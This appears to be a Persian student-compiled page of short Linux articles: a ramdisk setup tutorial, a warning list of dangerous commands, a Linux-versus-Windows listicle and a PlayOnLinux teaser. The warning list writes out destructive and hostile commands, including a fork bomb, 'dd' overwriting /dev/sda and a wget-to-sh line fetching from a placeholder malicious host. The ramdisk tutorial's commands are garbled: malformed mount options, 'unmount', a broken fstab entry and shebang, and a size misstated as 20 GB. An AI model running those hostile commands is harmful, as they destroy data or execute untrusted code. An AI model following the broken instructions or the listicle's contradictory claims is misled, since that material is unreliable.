اگر شما نیاز به افزایش سرعت داده هایی که در سرور های Data Center لینوکس نوشته و ذخیره میکنید دارید ، یک Ramdisk ممکن است همان چیزی باشد که به آن احتیاج دارید در اینجا چگونگی ایجاد ،نصب و پشتیبان گیری از آن را توضیح خواهیم داد:
1.ایجاد:
اولین کاری که باید انجام دهید ایجاد پوشه ای ست که در نصب Ramdisk از ان استفاده خواهد شد.
من پوشه ی media/ramdisk / را ایجاد کردم ،برای این کار ترمینال را باز کنید و این دستور را بنویسید:
sudo mkdir -p /media/ramdisk
شما میتوانید نام پوشه را هر چیزی که دوست دارید انتخاب کنید و همچنین در هر دایرکتوری که میخواهید آن را ایجاد کنید .
من media/ را انتخاب کردم چون همان جاییست که درایو های پیشفرض در صورت ایجاد در آن خواهند بود.
2. نصب:
حا ل ما یک دایرکتوری تازه ایجاد شده را به یک فضای ذخیره سازی موقت سوق میدهیم برای ین کار از این دستور استفاده کنید :
sudo mount -t tmpfs -o size = 2048 M
tmpfs /media/ramdisk
شما میتوانید نطقه اتصال و سایز را متناسب با نیاز خود تنظیم کنید در مثال بالا من 20 گیگا بابت از Ram را نصب کردم برای اینکه به عنوان سیستم فایل های موقت media/ramdisk/ استفاده شود .
دایرکتوری نصب شده حالا برای استفاده در اختیار شماست .
زمانی که کار شما با ramdisk تمام شد میتواند آنرا مطابق دستور زیر حذف کنید :
sudo unmount /media/ramdisk
اگر بخواهید ramdisk در هنگام بوت شدن به طور خودکار ایجاد شود چه باید بکنید؟؟
این را میتوان با کمک etc /fstab / انجام داد:
این فایل را باز کنید و موارد زیر را اضافه کنید:
nano /media/ramdisk tmpfs
nodev , nosuid , neoXec , nodiratime , size = 2048 M 00
ذخیره کنید و فایل را ببندید .
حالا می توانید فایل جدید را با دستور زبر تست کنید اگر خطایی نبود کارتان را به خوبی انجام داده اید :
/etc/fstab
3. پشتیبان گیری:
چون ما با حافظه ی غیر ماندگار سرو کار داریم میخواهیم یک پشتیبان گیری منظم انجام دهیم
میتوانیم یک Bash script ساده برای این کار بنویسیم :
#!bin/bash
Cp -ru /media/ramdisk/BACKUP/PATH
ذخیره کنید و خارج شوید. من نامش را root/ramdisk-backup.sh/ گذاشتم.
مجوز های اجرایی را با کد زیر بدهید:
chmod u+x ramdisk_backup.sh
نیاز به ایجاد یک crontab داریم:
crontab -e
بعد
*/15 * * * * /root/ramdisk_backup.sh
crontab وارد شده اطلاعات ramdisk شما را هر 15 دقیقه یک بار پشتیبان گیری میکند حال اگر برق شما قطع شد و یا دستگاهتان خاموش شود اطلاعات را از دست نخواهید داد.
فاطمه حق نظری
941832212
منبع :
https://www.techrepublic.com/article/how-to-use-a-ramdisk-on-linux/
در عین جالب بودن استفاده از خط فرمان در لینوکس گاهی اوقات ممکن است این عمل خطرناک باشد زیرا با یک اشتباه کوچک میتواند منجر به آسیب ببه سستم شود. در ادامه ی مطلب شمارا با چند دستور خطرناک که استفاده از آنها توصیه نمی شود آشنا می کنیم:
1. rm -rf
این دستور یکی از سریعترین راه ها برای پاک کردن یک پوشه و محتویات آن است اما یک اشتباه کوچک ممکن است آسیب جدی به سیستم عامل بزند.
پس هنگام استفاده از این دستور باد قت عمل کنید. درصورتی که می خواهید مشکل حذف تصادفی را برطرف کنید نام مستعار rm را در bashcr با rm -i اییجاد کنید تا برای هر حذف از شما برای تایید حذف سوال کند.
2.:;{&:|:}():
این عبارت در واقع یک بمب افکن است. این کاربا تعریف تابع ":" که خود را یک بار با پس زمینه و یک بار با پیش زمینه تماس میدهد تا سیستم به طور کامل مهار شود و سپس دوباره اجرا می شود.
3.mvfolder /dev/null
دستور بالا یک دستور انتقال است به آدرسی که در روبروی آن نوشته شده، اما نکته ی مهم اینجاست که null یک فایل ویژه ای است که تمام داده های نوشته شده در آن را حذف می کند و در نهایت گزارش میدهد که عملیات موفق است.
4.wget http://malicious_source -O- | sh
این دستور ابتده یک اسکریپت را از منببع مخرب دنلود و سپس آنرا اجرا می کند. wget برای دانلود و sh برای اجرا استفاده می شود.
5.dd if=/dev/random of=/dev/sda
دستور فوق sda بلوک را پاک کرده و داده های ناخواسته را به آن ارسال می کند. البته باید نکته را مد نظر داشته باشید که سیستم شما در حالت غیر قابل برگشت باقی خواهد ماند.
خب!
از 10 دستور خطرناک گفته شده در سایت در اینجا به 5 دستور مهمتر اشاره شد و کسانی که تمایل به مطالعه ی بیشتر در ازین زمینه دارند می توانند به آدرس زیر مراجعه نمایند.
https://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/#
نویسنده:سینا صادقی
10 دلیلی که باعث می شود لینوکس از ویندوز پیشی بگیرد:
آیا می دانستید که سیستم عامل لینوکس در مقایسه با ویندوز ویژگی هایی دارد که باعث پیشی گرفتن از آن میشود؟
اگر شما یک کاربر تازه کار هستید به شما توصیه می شود که برای شروع از سیستم عامل ویندوز که یادگیری آن در مقایسه با ویندوز ساده تر است ،استفاده کنید و طبیعی است که شما از لینوکس که کمی پیچیده تر از ویندوز است استفاده نکنید.لینوکس برای افرادی که دارای مهارت های بالایی هستند ودوست دارند تجربه های متفاوتی داشته باشند مناسب است. ازدلایلی که باعث پیشی گرفتن آن از ویندوز می شود می توان 10 مورد را بیان کرد که عبارت اند از:
1.متن باز بودن
شما یک خودرو را درنظربگیرید،وقتی می خواهید خودرویی را بخرید در نگاه اول فقط یک دستگاهی را می بینید که از اجزای مختلفی تشکیل شده است که برای شما پنهان است و فقط شما صورت کامل شده آن را می بینید و نمیتوانید تغییری در آن ایجاد کنید و هرگونه دستکاری درآن موجب نقص فنی آن می شود ،ویندوز هم عملکردی مشابه این رادارد اما در مقابل آن لینوکس کاملا یک پروژه متن باز است و هر کاربری در صورت نیاز می تواند هرگونه تغییر را در آن انجام دهد و حتی به کد خود سیستم عامل دسترسی دارد میتواند آن را تغییر و اصلاح کند و دوباره به بازار عرضه کند و دیگران بدون پرداخت هیچ هزینه ای از آن استفاده کنند.درست است که برای اکثر افراد متن باز بودن اهمیتی ندارد ولی یک اصل اساسی در سیستم عمل لینوکس است.
2.امنیت بالا
این یک حقیقت است که سیستم عامل لینوکس نسبت به ویروس ها و حملات هکر ها آسیب پذیر است اما لینوکس در مقایسه با ویندوز در مقابل همچنین حملاتی بسیار امن تر است ودلیل آن هم فرآیند مدیریت بسته ،مفهموم انبار و ویژگی های دیگر می باشد.در سیستم عامل ویندوز شما دائم نیاز دارید که هزینه هایی پرداخت کنیدو آنتی ویروسی بر روی سیستم خود نصب کنید که از ویروس ها در امن بماند و عملکردش کند نشود ولی در لینوکس نیازی به آنتی ویروس ندارید که باعث صرفه جویی در هزینه ها میشود.
3.توانایی احیا و استفاده دوباره از کامپیوترهای قدیمی
سیستم عامل ها دائم در حال تکامل هستند و برای استفاده از آن باید نیازمندی های لازم برای سیستم را نیز تامین کرد.مثلا وقتی یک ویندوز 10 را خریداری می کنید برای اجرای آن باید حداقل نیازمندی های سخت افزاری لازم را داشت چون بر روی یک سیستم سطح پایین قابل اجرا نمی باشد.اما در مقابل می توان با استفاده از لینوکس هنوز هم از سیستم های کامپیوتری قدیمی برای انجام بعضی کارها استفاده کرد ولی این دلیل نمی شود که سیستم های با 256مگابایت حافظه و پردازنده قدیمی توزیع شود با این حال هنوز هم گزینه هایی وجود دارد بر روی سیستم های سطح پایین اجرا می شود(مانند (puppy linux بنابراین سیستم عامل لینوکس میتواند در بر روی انواع سیستم ها(سطح پایین -بالا)اجرا شود ولی ویندوز برای اجرا شدن نیاز های سخت افزاری دارد.به خاطر این دلیل است که اگر یک ویندوز سطح بالا و لینوکس سطح پایین را مقایسه کنید باز اکثر سرور ها در سراسر جهان لینوکس را نرجیح می دهند.
4.مناسب برای برناَمه نویسان
سیستم عامل لینوکس از اکثر زبان های برنامه نویسی((Python, C/C++, Java, Perl, Ruby, etcپشتیبانی می کند.برنامه های زیادی را برای هدف برنامه نویسی و کمک به برنامه نویسان عرضه می کند.ترمینال لینوکس مناسب تر از CMDویندوز برای برنامه نویسان می باشد و شما میتواند ازکتابخانه هایی زیادی را که برای لینوکس می باشد،استفاده کنید و همچنین اکثر برنامه نویسان بر این باورند که مدیریت بسته در لینوکس به آن ها کمک می کنند که کار خود را راحت تر انجام دهند.
5.به روزرسانی های نرم افزار
مایکروسافت زمانی بروزرسانی را انجام می دهد که بایک مشکل بزرگی مواجه باشد یا بخواهد یه موردی را اثبات کنید همچنین بعضی مواقه برای حل یک مشکل کوچک هم بروزرسانی انجام میدهد و.لی در مقابل لینوکس بروزرسانی های بیشتر و سریعتری را انجام می دهد.
6.سفارشی بودن
یک مزیت بزرگ لینوکس نسبت به ویندوز ،قابل سفارش بودن آن است .اگر شما میخواهید تنطیمات لینوکس خود را تغییر دهید و انگونه که مدنطرخودتان هست ایجاد کنید ،لینوکس برای شما مناسب است.
7.تنوع در توزیع
تنوع و توزیع زیادی در ویندوز دیده نمی شود و ممکن است که شما نقشه های زیادی برای انجام کار خاصی که نیاز به شرایط صدور مجوز،دوره های فعالسازی ،قیمت و...داشته باشید.در مقابل لینوکس توزیع های متفاوت.(توزیع هایی برای هکر ها،برنامه نویسان ،رایانه های بسیار قدیمی و... ) برای مجموعه ای از نیاز ها دارد به طوریکه شما براساس نیاز خود هر توزیعی که متناسب با نیاز شما باشد را انتخاب کنید.
8.استفاده رایگان
برخلاف ویندوز ،لینوکس به صورت رایگان در دسترس عموم است وکاربر مجبور نیست که هزینه های زیادی برای گرفتن یک کپی از آن پرداخت کند و هرگونه تغییر ،کپی بر روی لینوکس رایگان است.
9.پشتیبانی ارتباطی بهتر
وقتی شما بایک مشکلی در لینوکس مواجه شدید لازم نیست که یک متخصص را استخدام کنید تا مشکل شما را حل کند بلکه میتوانی با یک جستجوی ساده در وب به راحتی افرادی را پیدا کنید که میتوانند مشکل شمارا حل کنند وافرادی که در زمینه لینوکس فعال هستند آماده پاسخ گویی هستند واین افراد به مراتب فعالتر از افرادی هستند که به ویندوز علاقه دارند.
10.حفظ حریم شخصی
مایکروسافت به صورت پنهانی میتواند داده های جمع آوری شده هر کاربری را تغییر دهند که این مشکل در ویندوز 10 نیز حل نشد که باعث شده است انتقاد های زیادی در مور جمع آوری داده هاو نحوه استفاده از آن ها داشته باشد.اگر از ویندوز 10 استفاده کرده باشید به قسمت حریم خصوصی مراجعه کنید می بینید که همه چیز به طورر پیش فرض برای شما فعال شده است حتی اگر شما اجازه ارسال اطلاعتتان را ندهید آن ها باز اطلاعات شما را جمع آوری میکنند و شما نیاز به ابزارهایی برای غیرفعال کردن ماژول جاسوسی ویندوز دارید درمقابل لینوکس یک راه حل کامل برای حفظ حریم خصوصی می باشد به طوری که هیچ اطلاعاتی از شما را جمع آوری نمی کند و شما نیازی به ابزار اضافی برای محافظت از حریم خصوصی خود ندارید.
منبع
https://itsfoss.com/linux-better-than-windows
نام ونام خانوادگی دانشجو:زهرا پیرجانی(941832205)
وقتی از کاربران لینوکس بپرسید که چرا هنوز یک نسخه از ویندوز را روی سیستم خود نگاه داشتهاند، خواهید دید که اکثر آنها یک دلیل برای انجام این کار دارند: "بازیها" و همینطور "برنامه های گرافیکی".
در این صورت یکی از راه ها این است که برای مواقع ضروری، یک ویندوز هم در کنار سیستم عامل اصلی تان روی کامپیوتر داشته باشید و یا با کمک نرم افزارهایی مانند Virtual Box، اقدام به نصب ویندوز در محیط لینوکس کنید. اما راه دیگر، نصب مستقیم نرم افزارهای های ویندوزی روی لینوکس است. توسط این نرم افزار قدرتمند که PlayOnLinux نام دارد، قادر خواهید بود تا برنامه های ویندوز را در سیستم عامل لینوکس اجرا کنید. در این آموزش ابتدا به نصب این نرم افزار پرداخته و سپس به نصب برنامه ی محبوب فوتوشاپ خواهیم پرداخت.
ادامه مطلب ...